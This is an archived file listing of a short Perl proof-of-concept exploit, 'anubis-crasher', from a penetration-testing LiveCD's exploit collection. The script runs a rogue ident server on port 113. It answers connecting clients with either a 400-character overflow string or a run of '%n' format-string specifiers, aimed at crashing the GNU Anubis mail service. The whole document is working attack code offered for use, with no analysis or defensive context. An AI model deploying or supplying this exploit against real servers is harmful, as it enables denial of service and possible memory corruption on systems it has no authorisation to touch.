home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / anubis / anubis.pl < prev    next >
Perl Script  |  2005-02-12  |  1KB  |  54 lines

  1. #!/usr/bin/perl --
  2.  
  3. # anubis-crasher
  4. # Ulf Harnhammar 2004
  5. # I hereby place this program in the Public Domain.
  6.  
  7. use IO::Socket;
  8.  
  9.  
  10. sub usage()
  11. {
  12.   die "usage: $0 type\n".
  13.       "type is 'a' (buffer overflow) or 'b' (format string bug).\n";
  14. } # sub usage
  15.  
  16.  
  17. $port = 113;
  18.  
  19. usage() unless @ARGV == 1;
  20. $type = shift;
  21. usage() unless $type =~ m|^[ab]$|;
  22.  
  23. $send{'a'} = 'U' x 400;
  24. $send{'b'} = '%n' x 28;
  25. $sendstr = $send{$type};
  26.  
  27. $server = IO::Socket::INET->new(Proto => 'tcp',
  28.                                 LocalPort => $port,
  29.                                 Listen => SOMAXCONN,
  30.                                 Reuse => 1) or
  31.           die "can't create server: $!";
  32.  
  33. while ($client = $server->accept())
  34. {
  35.   $client->autoflush(1);
  36.   print "got a connection\n";
  37.  
  38.   $input = <$client>;
  39.   $input =~ tr/\015\012//d;
  40.   print "client said $input\n";
  41.  
  42. #  $wait = <STDIN>;
  43. #  $wait = 'be quiet, perl -wc';
  44.  
  45.   $output = "a: USERID: a:$sendstr";
  46.   print $client "$output\n";
  47.   print "I said $output\n";
  48.  
  49.   close $client;
  50.   print "disconnected\n";
  51. } # while client=server->accept
  52.  
  53.  
  54.